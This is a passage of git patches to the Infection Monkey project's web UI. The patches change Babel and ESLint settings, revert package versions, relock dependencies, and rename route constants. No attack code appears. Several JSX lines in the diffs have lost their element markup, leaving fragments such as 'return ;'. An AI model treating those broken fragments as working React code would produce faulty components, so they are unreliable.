a/monkey/monkey_island/cc/ui/.babelrc +++ b/monkey/monkey_island/cc/ui/.babelrc @@ -14,4 +14,4 @@ "@emotion", "@babel/plugin-proposal-class-properties" ] -} \ No newline at end of file +} diff --git a/monkey/monkey_island/cc/ui/.eslintrc b/monkey/monkey_island/cc/ui/.eslintrc index d5f08e32fb3..87370e76d17 100644 --- a/monkey/monkey_island/cc/ui/.eslintrc +++ b/monkey/monkey_island/cc/ui/.eslintrc @@ -8,15 +8,14 @@ "plugin:react/recommended" ], "parserOptions": { + "requireConfigFile": false, "ecmaVersion": 6, - "sourceType": "module", - "allowImportExportEverywhere": false, "ecmaFeatures": { "jsx": true, "globalReturn": false }, "babelOptions": { - "configFile": ".babelrc" + "configFile": false } }, "settings": { diff --git a/monkey/monkey_island/cc/ui/webpack.config.js b/monkey/monkey_island/cc/ui/webpack.config.js index 4d2e4171c7a..f36cd4d6065 100644 --- a/monkey/monkey_island/cc/ui/webpack.config.js +++ b/monkey/monkey_island/cc/ui/webpack.config.js @@ -81,9 +81,6 @@ module.exports = smp.wrap({ ignoreWarnings: [/Failed to parse source map/], devtool: isProduction ? 'source-map' : 'eval-source-map', plugins: [ - new ESLintPlugin({ - extensions: ['.ts', '.tsx', '.js', '.jsx'], - }), new ForkTsCheckerWebpackPlugin({ typescript: { diagnosticOptions: { @@ -96,7 +93,8 @@ module.exports = smp.wrap({ template: './src/index.html', filename: './index.html' }), - new NodePolyfillPlugin() + new NodePolyfillPlugin(), + new ESLintPlugin(), ], resolve: { extensions: ['.ts', '.tsx', '.js', '.jsx', '.css'], From 401c59fc4f63dfdc16c95407fc405ef0326186e8 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 6 Mar 2023 14:38:11 +0000 Subject: [PATCH 0331/1338] UI: Revert bootstrap --- monkey/monkey_island/cc/ui/package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index dd7bd928ee7..7a02c98cda7 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -75,7 +75,7 @@ "@rjsf/utils": "5.1.0", "@rjsf/validator-ajv8": "5.1.0", "@types/react-router-dom": "5.3.3", - "bootstrap": "5.2.3", + "bootstrap": "^4.6.2", "core-js": "3.29.0", "crypto-js": "4.1.1", "downloadjs": "1.4.7", From 6b21a17bfcb24204604a7b8ec43bdfff9f2240a7 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 6 Mar 2023 14:38:53 +0000 Subject: [PATCH 0332/1338] UI: Revert react-tsparticles --- monkey/monkey_island/cc/ui/package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 7a02c98cda7..841f41b8708 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -101,7 +101,7 @@ "react-router-dom": "6.8.2", "react-spinners": "0.13.8", "react-table": "^6.11.5", - "react-tsparticles": "2.9.3", + "react-tsparticles": "^1.43.1", "remark-breaks": "3.0.2", "request": "^2.88.2", "semver": "7.3.8", From a56d75bdd48734cc453dd52cbeeab8fdbe7fc48e Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 6 Mar 2023 14:39:39 +0000 Subject: [PATCH 0333/1338] UI: Relock node packages --- monkey/monkey_island/cc/ui/package-lock.json | 148 +++++++++++-------- 1 file changed, 84 insertions(+), 64 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index d37be0ad533..63748e1ea19 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -21,7 +21,7 @@ "@rjsf/utils": "5.1.0", "@rjsf/validator-ajv8": "5.1.0", "@types/react-router-dom": "5.3.3", - "bootstrap": "5.2.3", + "bootstrap": "^4.6.2", "core-js": "3.29.0", "crypto-js": "4.1.1", "downloadjs": "1.4.7", @@ -47,7 +47,7 @@ "react-router-dom": "6.8.2", "react-spinners": "0.13.8", "react-table": "^6.11.5", - "react-tsparticles": "2.9.3", + "react-tsparticles": "^1.43.1", "remark-breaks": "3.0.2", "request": "^2.88.2", "semver": "7.3.8", @@ -2238,9 +2238,9 @@ "dev": true }, "node_modules/@jest/expect-utils": { - "version": "29.4.3", - "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.4.3.tgz", - "integrity": "sha512-/6JWbkxHOP8EoS8jeeTd9dTfc9Uawi+43oLKHfp6zzux3U2hqOOVnV3ai4RpDYHOccL6g+5nrxpoc8DmJxtXVQ==", + "version": "29.5.0", + "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.5.0.tgz", + "integrity": "sha512-fmKzsidoXQT2KwnrwE0SQq3uj8Z763vzR8LnLBwC2qYWEFpjX8daRsk6rHUM1QvNlEW/UJXNXm59ztmJJWs2Mg==", "dev": true, "dependencies": { "jest-get-type": "^29.4.3" @@ -2262,9 +2262,9 @@ } }, "node_modules/@jest/types": { - "version": "29.4.3", - "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.4.3.tgz", - "integrity": "sha512-bPYfw8V65v17m2Od1cv44FH+SiKW7w2Xu7trhcdTLUmSv85rfKsP+qXSjO4KGJr4dtPSzl/gvslZBXctf1qGEA==", + "version": "29.5.0", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.5.0.tgz", + "integrity": "sha512-qbu7kN6czmVRc3xWFQcAN03RAUamgppVUdXrvl1Wr3jlNF93o9mJbGcDWrwGB6ht44u7efB1qCFgVQmca24Uog==", "dev": true, "dependencies": { "@jest/schemas": "^29.4.3", @@ -2461,6 +2461,11 @@ } } }, + "node_modules/@material-ui/core/node_modules/popper.js": { + "version": "1.16.1-lts", + "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1-lts.tgz", + "integrity": "sha512-Kjw8nKRl1m+VrSFCoVGPph93W/qrSO7ZkqPpTf7F4bk/sqcfWK019dWBUpE/fBOsOQY1dks/Bmcbfn1heM/IsA==" + }, "node_modules/@material-ui/icons": { "version": "4.11.3", "resolved": "https://registry.npmjs.org/@material-ui/icons/-/icons-4.11.3.tgz", @@ -3887,9 +3892,9 @@ "dev": true }, "node_modules/bootstrap": { - "version": "5.2.3", - "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-5.2.3.tgz", - "integrity": "sha512-cEKPM+fwb3cT8NzQZYEu4HilJ3anCrWqh3CHAok1p9jXqMPsPTBhU25fBckEJHJ/p+tTxTFTsFQGM+gaHpi3QQ==", + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.6.2.tgz", + "integrity": "sha512-51Bbp/Uxr9aTuy6ca/8FbFloBUJZLHwnhTcnjIeRn2suQWsWzcuJhGjKDB5eppVte/8oCdOL3VuwxvZDUggwGQ==", "funding": [ { "type": "github", @@ -3901,7 +3906,8 @@ } ], "peerDependencies": { - "@popperjs/core": "^2.11.6" + "jquery": "1.9.1 - 3", + "popper.js": "^1.16.1" } }, "node_modules/brace-expansion": { @@ -5084,9 +5090,9 @@ "dev": true }, "node_modules/electron-to-chromium": { - "version": "1.4.319", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.319.tgz", - "integrity": "sha512-WeoI6NwZUgteKB+Wmn692S35QycwwNxwgTomNnoCJ79znBAjtBi6C/cIW62JkXmpJRX5rKNYSLDBdAM8l5fH0w==" + "version": "1.4.320", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.320.tgz", + "integrity": "sha512-h70iRscrNluMZPVICXYl5SSB+rBKo22XfuIS1ER0OQxQZpKTnFpuS6coj7wY9M/3trv7OR88rRMOlKmRvDty7Q==" }, "node_modules/elliptic": { "version": "6.5.4", @@ -5795,16 +5801,16 @@ } }, "node_modules/expect": { - "version": "29.4.3", - "resolved": "https://registry.npmjs.org/expect/-/expect-29.4.3.tgz", - "integrity": "sha512-uC05+Q7eXECFpgDrHdXA4k2rpMyStAYPItEDLyQDo5Ta7fVkJnNA/4zh/OIVkVVNZ1oOK1PipQoyNjuZ6sz6Dg==", + "version": "29.5.0", + "resolved": "https://registry.npmjs.org/expect/-/expect-29.5.0.tgz", + "integrity": "sha512-yM7xqUrCO2JdpFo4XpM82t+PJBFybdqoQuJLDGeDX2ij8NZzqRHyu3Hp188/JX7SWqud+7t4MUdvcgGBICMHZg==", "dev": true, "dependencies": { - "@jest/expect-utils": "^29.4.3", + "@jest/expect-utils": "^29.5.0", "jest-get-type": "^29.4.3", - "jest-matcher-utils": "^29.4.3", - "jest-message-util": "^29.4.3", - "jest-util": "^29.4.3" + "jest-matcher-utils": "^29.5.0", + "jest-message-util": "^29.5.0", + "jest-util": "^29.5.0" }, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" @@ -7697,15 +7703,15 @@ "integrity": "sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==" }, "node_modules/jest-diff": { - "version": "29.4.3", - "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-29.4.3.tgz", - "integrity": "sha512-YB+ocenx7FZ3T5O9lMVMeLYV4265socJKtkwgk/6YUz/VsEzYDkiMuMhWzZmxm3wDRQvayJu/PjkjjSkjoHsCA==", + "version": "29.5.0", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-29.5.0.tgz", + "integrity": "sha512-LtxijLLZBduXnHSniy0WMdaHjmQnt3g5sa16W4p0HqukYTTsyTW3GD1q41TyGl5YFXj/5B2U6dlh5FM1LIMgxw==", "dev": true, "dependencies": { "chalk": "^4.0.0", "diff-sequences": "^29.4.3", "jest-get-type": "^29.4.3", - "pretty-format": "^29.4.3" + "pretty-format": "^29.5.0" }, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" @@ -7791,15 +7797,15 @@ } }, "node_modules/jest-matcher-utils": { - "version": "29.4.3", - "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-29.4.3.tgz", - "integrity": "sha512-TTciiXEONycZ03h6R6pYiZlSkvYgT0l8aa49z/DLSGYjex4orMUcafuLXYyyEDWB1RKglq00jzwY00Ei7yFNVg==", + "version": "29.5.0", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-29.5.0.tgz", + "integrity": "sha512-lecRtgm/rjIK0CQ7LPQwzCs2VwW6WAahA55YBuI+xqmhm7LAaxokSB8C97yJeYyT+HvQkH741StzpU41wohhWw==", "dev": true, "dependencies": { "chalk": "^4.0.0", - "jest-diff": "^29.4.3", + "jest-diff": "^29.5.0", "jest-get-type": "^29.4.3", - "pretty-format": "^29.4.3" + "pretty-format": "^29.5.0" }, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" @@ -7876,18 +7882,18 @@ } }, "node_modules/jest-message-util": { - "version": "29.4.3", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.4.3.tgz", - "integrity": "sha512-1Y8Zd4ZCN7o/QnWdMmT76If8LuDv23Z1DRovBj/vcSFNlGCJGoO8D1nJDw1AdyAGUk0myDLFGN5RbNeJyCRGCw==", + "version": "29.5.0", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.5.0.tgz", + "integrity": "sha512-Kijeg9Dag6CKtIDA7O21zNTACqD5MD/8HfIV8pdD94vFyFuer52SigdC3IQMhab3vACxXMiFk+yMHNdbqtyTGA==", "dev": true, "dependencies": { "@babel/code-frame": "^7.12.13", - "@jest/types": "^29.4.3", + "@jest/types": "^29.5.0", "@types/stack-utils": "^2.0.0", "chalk": "^4.0.0", "graceful-fs": "^4.2.9", "micromatch": "^4.0.4", - "pretty-format": "^29.4.3", + "pretty-format": "^29.5.0", "slash": "^3.0.0", "stack-utils": "^2.0.3" }, @@ -7975,12 +7981,12 @@ } }, "node_modules/jest-util": { - "version": "29.4.3", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.4.3.tgz", - "integrity": "sha512-ToSGORAz4SSSoqxDSylWX8JzkOQR7zoBtNRsA7e+1WUX5F8jrOwaNpuh1YfJHJKDHXLHmObv5eOjejUd+/Ws+Q==", + "version": "29.5.0", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.5.0.tgz", + "integrity": "sha512-RYMgG/MTadOr5t8KdhejfvUU82MxsCu5MF6KuDUHl+NuwzUt+Sm6jJWxTJVrDR1j5M/gJVCPKQEpWXY+yIQ6lQ==", "dev": true, "dependencies": { - "@jest/types": "^29.4.3", + "@jest/types": "^29.5.0", "@types/node": "*", "chalk": "^4.0.0", "ci-info": "^3.2.0", @@ -8062,13 +8068,13 @@ } }, "node_modules/jest-worker": { - "version": "29.4.3", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.4.3.tgz", - "integrity": "sha512-GLHN/GTAAMEy5BFdvpUfzr9Dr80zQqBrh0fz1mtRMe05hqP45+HfQltu7oTBfduD0UeZs09d+maFtFYAXFWvAA==", + "version": "29.5.0", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.5.0.tgz", + "integrity": "sha512-NcrQnevGoSp4b5kg+akIpthoAFHxPBcb5P6mYPY0fUNT+sSvmtu6jlkEle3anczUKIKEbMxFimk9oTP/tpIPgA==", "dev": true, "dependencies": { "@types/node": "*", - "jest-util": "^29.4.3", + "jest-util": "^29.5.0", "merge-stream": "^2.0.0", "supports-color": "^8.0.0" }, @@ -8100,6 +8106,12 @@ "url": "https://github.com/chalk/supports-color?sponsor=1" } }, + "node_modules/jquery": { + "version": "3.6.3", + "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.6.3.tgz", + "integrity": "sha512-bZ5Sy3YzKo9Fyc8wH2iIQK4JImJ6R0GWI9kL1/k7Z91ZBNgkRXE6U0JfHIizZbort8ZunhSI3jw9I6253ahKfg==", + "peer": true + }, "node_modules/js-sdsl": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/js-sdsl/-/js-sdsl-4.3.0.tgz", @@ -12781,9 +12793,9 @@ } }, "node_modules/path-scurry/node_modules/lru-cache": { - "version": "7.18.1", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.18.1.tgz", - "integrity": "sha512-8/HcIENyQnfUTCDizRu9rrDyG6XG/21M4X7/YEGZeD76ZJilFPAUVb/2zysFf7VVO1LEjCDFyHp8pMMvozIrvg==", + "version": "7.18.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.18.3.tgz", + "integrity": "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==", "dev": true, "engines": { "node": ">=12" @@ -12922,9 +12934,15 @@ } }, "node_modules/popper.js": { - "version": "1.16.1-lts", - "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1-lts.tgz", - "integrity": "sha512-Kjw8nKRl1m+VrSFCoVGPph93W/qrSO7ZkqPpTf7F4bk/sqcfWK019dWBUpE/fBOsOQY1dks/Bmcbfn1heM/IsA==" + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1.tgz", + "integrity": "sha512-Wb4p1J4zyFTbM+u6WuO4XstYx4Ky9Cewe4DWrel7B0w6VVICvPwdOpotjzcf6eD8TsckVnIMNONQyPIUFOUbCQ==", + "deprecated": "You can find the new Popper v2 at @popperjs/core, this package is dedicated to the legacy v1", + "peer": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/popperjs" + } }, "node_modules/postcss": { "version": "8.4.21", @@ -13048,9 +13066,9 @@ } }, "node_modules/pretty-format": { - "version": "29.4.3", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.4.3.tgz", - "integrity": "sha512-cvpcHTc42lcsvOOAzd3XuNWTcvk1Jmnzqeu+WsOuiPmxUJTnkbAcFNsRKvEpBEUFVUgy/GTZLulZDcDEi+CIlA==", + "version": "29.5.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.5.0.tgz", + "integrity": "sha512-V2mGkI31qdttvTFX7Mt4efOqHXqJWMu4/r66Xh3Z3BwZaPfPJgp6/gbwoujRpPUtfEF6AUUWx3Jim3GCw5g/Qw==", "dev": true, "dependencies": { "@jest/schemas": "^29.4.3", @@ -13672,9 +13690,10 @@ } }, "node_modules/react-tsparticles": { - "version": "2.9.3", - "resolved": "https://registry.npmjs.org/react-tsparticles/-/react-tsparticles-2.9.3.tgz", - "integrity": "sha512-QSo5Y0iXcXzOKbOira+kn5Z9Yv0ugk4swcn44HkdublSS8XAmV2QiQSd9T2mdM1tGZ8xVSuqsfdgGWfRC1KKng==", + "version": "1.43.1", + "resolved": "https://registry.npmjs.org/react-tsparticles/-/react-tsparticles-1.43.1.tgz", + "integrity": "sha512-IWa33DP6CjcO+/upUqPhYpxduCFQvWXqCHV6rgvIPvmaqPqs8BkNbeBgBqcEPJRPzTluaD/+r9d7tDp2Uhd0uA==", + "deprecated": "React tsParticles 2.6.0 is out, please update", "funding": [ { "type": "github", @@ -13688,7 +13707,7 @@ "hasInstallScript": true, "dependencies": { "fast-deep-equal": "^3.1.3", - "tsparticles-engine": "^2.9.3" + "tsparticles": "^1.43.1" }, "peerDependencies": { "react": ">=16" @@ -15467,10 +15486,11 @@ "integrity": "sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==", "dev": true }, - "node_modules/tsparticles-engine": { - "version": "2.9.3", - "resolved": "https://registry.npmjs.org/tsparticles-engine/-/tsparticles-engine-2.9.3.tgz", - "integrity": "sha512-iAD8LyRH//kx10fDMm6AfQV6dRHs1ZacUUHqVwfutcqM4x1IV2ygpjk0X87LKCnBxYeIMG78+tlxXpnpwUccOg==", + "node_modules/tsparticles": { + "version": "1.43.1", + "resolved": "https://registry.npmjs.org/tsparticles/-/tsparticles-1.43.1.tgz", + "integrity": "sha512-6EuHncwqzoyTlUxc11YH8LVlwVUgpYaZD0yMOeA2OvRqFZ9VQV8EjjQ6ZfXt6pfGA1ObPwU929jveFatxwTQkg==", + "deprecated": "tsParticles 2.6.0 is out, please update", "funding": [ { "type": "github", @@ -15568,9 +15588,9 @@ } }, "node_modules/ua-parser-js": { - "version": "0.7.33", - "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.33.tgz", - "integrity": "sha512-s8ax/CeZdK9R/56Sui0WM6y9OFREJarMRHqLB2EwkovemBxNQ+Bqu8GAsUnVcXKgphb++ghr/B2BZx4mahujPw==", + "version": "0.7.34", + "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.34.tgz", + "integrity": "sha512-cJMeh/eOILyGu0ejgTKB95yKT3zOenSe9UGE3vj6WfiOwgGYnmATUsnDixMFvdU+rNMvWih83hrUP8VwhF9yXQ==", "funding": [ { "type": "opencollective", From accb751e3cd47db9de28df9bf56b1d662cda587c Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 6 Mar 2023 14:40:46 +0000 Subject: [PATCH 0334/1338] UI: Fix security page routing --- .../monkey_island/cc/ui/src/components/SideNavComponent.tsx | 4 ++-- .../cc/ui/src/components/layouts/SidebarLayoutComponent.tsx | 1 - .../monkey_island/cc/ui/src/components/pages/ReportPage.tsx | 2 +- 3 files changed, 3 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx index 1aa47003052..c026ccf1924 100644 --- a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx +++ b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx @@ -20,7 +20,7 @@ type Props = { defaultReport: string, header?: ReactFragment, onStatusChange: () => void -} +}; const SideNavComponent = ({ @@ -71,7 +71,7 @@ const SideNavComponent = ({
  • 3. Security Reports diff --git a/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx index 89992f79a97..26df7a8e1f8 100644 --- a/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx +++ b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx @@ -1,5 +1,4 @@ import React from 'react'; -import {Route} from 'react-router-dom'; import SideNavComponent from '../SideNavComponent'; import {Col, Row} from 'react-bootstrap'; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.tsx b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.tsx index 9566a26b482..cb837d7185c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.tsx +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.tsx @@ -71,7 +71,7 @@ function ReportPage(props: Props) { activeKey={selectedSection} onSelect={(key) => { setSelectedSection(key); - navigate(key); + navigate("/report/" + key); }} className={'report-nav'}> {orderedSections.map(section => renderNavButton(section))} From 162e5b02f6df7b05cb8608009fe766f368177577 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 6 Mar 2023 19:40:45 +0000 Subject: [PATCH 0335/1338] UI: Restrict report page updates --- monkey/monkey_island/cc/ui/src/components/pages/ReportPage.tsx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.tsx b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.tsx index cb837d7185c..bdb010bf6a1 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.tsx +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.tsx @@ -61,7 +61,7 @@ function ReportPage(props: Props) { useEffect(() => { updateMonkeysRunning(); getReportFromServer(); - }); + }, [runStarted, allMonkeysAreDead]); function renderNav() { let navigate = useNavigate(); From 8b4798d3ef82134c3b47833183b58a0090819b1a Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 6 Mar 2023 19:51:29 +0000 Subject: [PATCH 0336/1338] UI: Rename routes -> IslandRoutes --- .../cc/ui/src/components/Main.tsx | 50 +++++++++---------- .../cc/ui/src/components/SideNavComponent.tsx | 10 ++-- .../ui/src/components/logo/LogoComponent.js | 4 +- .../ui-components/IslandResetModal.tsx | 4 +- 4 files changed, 34 insertions(+), 34 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index 25f41c69d52..a59c45107cf 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -31,7 +31,7 @@ import { doesAnyAgentExist, didAllAgentsShutdown } from './utils/ServerUtils'; let notificationIcon = require('../images/notification-logo-512x512.png'); -export const routes = { +export const IslandRoutes = { LandingPage: '/landing-page', GettingStartedPage: '/', Report: '/report', @@ -47,7 +47,7 @@ export const routes = { } export function isReportRoute(route){ - return route.startsWith(routes.Report); + return route.startsWith(IslandRoutes.Report); } class AppComponent extends AuthComponent { @@ -148,17 +148,17 @@ class AppComponent extends AuthComponent { switch (this.state.isLoggedIn) { case true: if (this.needsRedirectionToLandingPage(route_path)) { - return ; + return ; } else if (this.needsRedirectionToGettingStarted(route_path)) { - return ; + return ; } return page_component; case false: switch (this.state.needsRegistration) { case true: - return ; + return ; case false: - return ; + return ; default: return ; } @@ -171,11 +171,11 @@ class AppComponent extends AuthComponent { }; needsRedirectionToLandingPage = (route_path) => { - return (this.state.islandMode === "unset" && route_path !== routes.LandingPage) + return (this.state.islandMode === "unset" && route_path !== IslandRoutes.LandingPage) } needsRedirectionToGettingStarted = (route_path) => { - return route_path === routes.LandingPage && + return route_path === IslandRoutes.LandingPage && this.state.islandMode !== "unset" && this.state.islandMode !== undefined } @@ -197,9 +197,9 @@ class AppComponent extends AuthComponent { getDefaultReport() { if(this.state.islandMode === 'ransomware'){ - return routes.RansomwareReport; + return IslandRoutes.RansomwareReport; } else { - return routes.SecurityReport; + return IslandRoutes.SecurityReport; } } @@ -231,34 +231,34 @@ class AppComponent extends AuthComponent { - }/> - }/> - {this.renderRoute(routes.LandingPage, + }/> + }/> + {this.renderRoute(IslandRoutes.LandingPage, )} - {this.renderRoute(routes.GettingStartedPage, + {this.renderRoute(IslandRoutes.GettingStartedPage, )} - {this.renderRoute(routes.ConfigurePage, + {this.renderRoute(IslandRoutes.ConfigurePage, )} - {this.renderRoute(routes.RunMonkeyPage, + {this.renderRoute(IslandRoutes.RunMonkeyPage, )} - {this.renderRoute(routes.MapPage, + {this.renderRoute(IslandRoutes.MapPage, )} - {this.renderRoute(routes.EventPage, + {this.renderRoute(IslandRoutes.EventPage, )} {this.redirectToReport()} - {this.renderRoute(routes.SecurityReport, + {this.renderRoute(IslandRoutes.SecurityReport, )} - {this.renderRoute(routes.RansomwareReport, + {this.renderRoute(IslandRoutes.RansomwareReport, )} - {this.renderRoute(routes.LicensePage, + {this.renderRoute(IslandRoutes.LicensePage, )} @@ -271,18 +271,18 @@ class AppComponent extends AuthComponent { redirectToReport() { if (this.state.islandMode === 'ransomware') { - return this.redirectTo(routes.Report, routes.RansomwareReport) + return this.redirectTo(IslandRoutes.Report, IslandRoutes.RansomwareReport) } else { - return this.redirectTo(routes.Report, routes.SecurityReport) + return this.redirectTo(IslandRoutes.Report, IslandRoutes.SecurityReport) } } showInfectionDoneNotification() { - if (!window.location.pathname.startsWith(routes.Report)) { + if (!window.location.pathname.startsWith(IslandRoutes.Report)) { const hostname = window.location.hostname; const port = window.location.port; const protocol = window.location.protocol; - const url = `${protocol}//${hostname}:${port}${routes.SecurityReport}`; + const url = `${protocol}//${hostname}:${port}${IslandRoutes.SecurityReport}`; Notifier.start( 'Monkey Island', diff --git a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx index c026ccf1924..726441ddf47 100644 --- a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx +++ b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx @@ -6,7 +6,7 @@ import {faCheck} from '@fortawesome/free-solid-svg-icons/faCheck'; import {faUndo} from '@fortawesome/free-solid-svg-icons/faUndo'; import '../styles/components/SideNav.scss'; import {CompletedSteps} from './side-menu/CompletedSteps'; -import {isReportRoute, routes} from './Main'; +import {isReportRoute, IslandRoutes} from './Main'; import Logo from './logo/LogoComponent'; import IslandResetModal from './ui-components/IslandResetModal'; @@ -35,7 +35,7 @@ const SideNavComponent = ({ return ( <> - +
    logo Infection Monkey @@ -52,7 +52,7 @@ const SideNavComponent = ({ }
  • - + 1. Run Monkey {completedSteps.runMonkey ? @@ -61,7 +61,7 @@ const SideNavComponent = ({
  • - + 2. Infection Map {completedSteps.infectionDone ? @@ -97,7 +97,7 @@ const SideNavComponent = ({
      -
    • Configuration
    • diff --git a/monkey/monkey_island/cc/ui/src/components/logo/LogoComponent.js b/monkey/monkey_island/cc/ui/src/components/logo/LogoComponent.js index fc3d0025275..e5c8ece8db9 100644 --- a/monkey/monkey_island/cc/ui/src/components/logo/LogoComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/logo/LogoComponent.js @@ -2,7 +2,7 @@ import React from 'react'; import {Link} from 'react-router-dom'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faExternalLinkAlt} from '@fortawesome/free-solid-svg-icons'; -import {routes} from '../Main'; +import {IslandRoutes} from '../Main'; import VersionComponent from './VersionComponent'; const akamaiLogoImage = require('../../images/akamai-logo.svg'); @@ -22,7 +22,7 @@ function Logo() { Documentation
      - License + License
  • before doing this.

    From 62058b07b8aa6ce20863f4147c319c043788fee0 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 3 Mar 2023 17:57:16 +0000 Subject: [PATCH 0322/1338] UI: Address babel errors --- monkey/monkey_island/cc/ui/.babelrc | 5 +- monkey/monkey_island/cc/ui/.eslintrc | 27 +- monkey/monkey_island/cc/ui/package-lock.json | 316 +++++++++++++------ monkey/monkey_island/cc/ui/package.json | 6 +- 4 files changed, 244 insertions(+), 110 deletions(-) diff --git a/monkey/monkey_island/cc/ui/.babelrc b/monkey/monkey_island/cc/ui/.babelrc index c88dd184dce..278a05d2f21 100644 --- a/monkey/monkey_island/cc/ui/.babelrc +++ b/monkey/monkey_island/cc/ui/.babelrc @@ -3,6 +3,7 @@ [ "@babel/preset-env", { + "targets": "defaults", "useBuiltIns": "entry", "corejs": 3 } @@ -10,7 +11,7 @@ "@babel/preset-react" ], "plugins": [ - "emotion", + "@emotion", "@babel/plugin-proposal-class-properties" ] -} +} \ No newline at end of file diff --git a/monkey/monkey_island/cc/ui/.eslintrc b/monkey/monkey_island/cc/ui/.eslintrc index afc7f2b7a84..d5f08e32fb3 100644 --- a/monkey/monkey_island/cc/ui/.eslintrc +++ b/monkey/monkey_island/cc/ui/.eslintrc @@ -1,5 +1,5 @@ { - "parser": "babel-eslint", + "parser": "@babel/eslint-parser", "plugins": [ "react" ], @@ -36,13 +36,23 @@ "quotes": [ 1, "single", - {"allowTemplateLiterals": true} + { + "allowTemplateLiterals": true + } ], "no-undef": 1, "global-strict": 0, "no-underscore-dangle": 0, "no-console": 0, - "no-unused-vars": [1, {"vars": 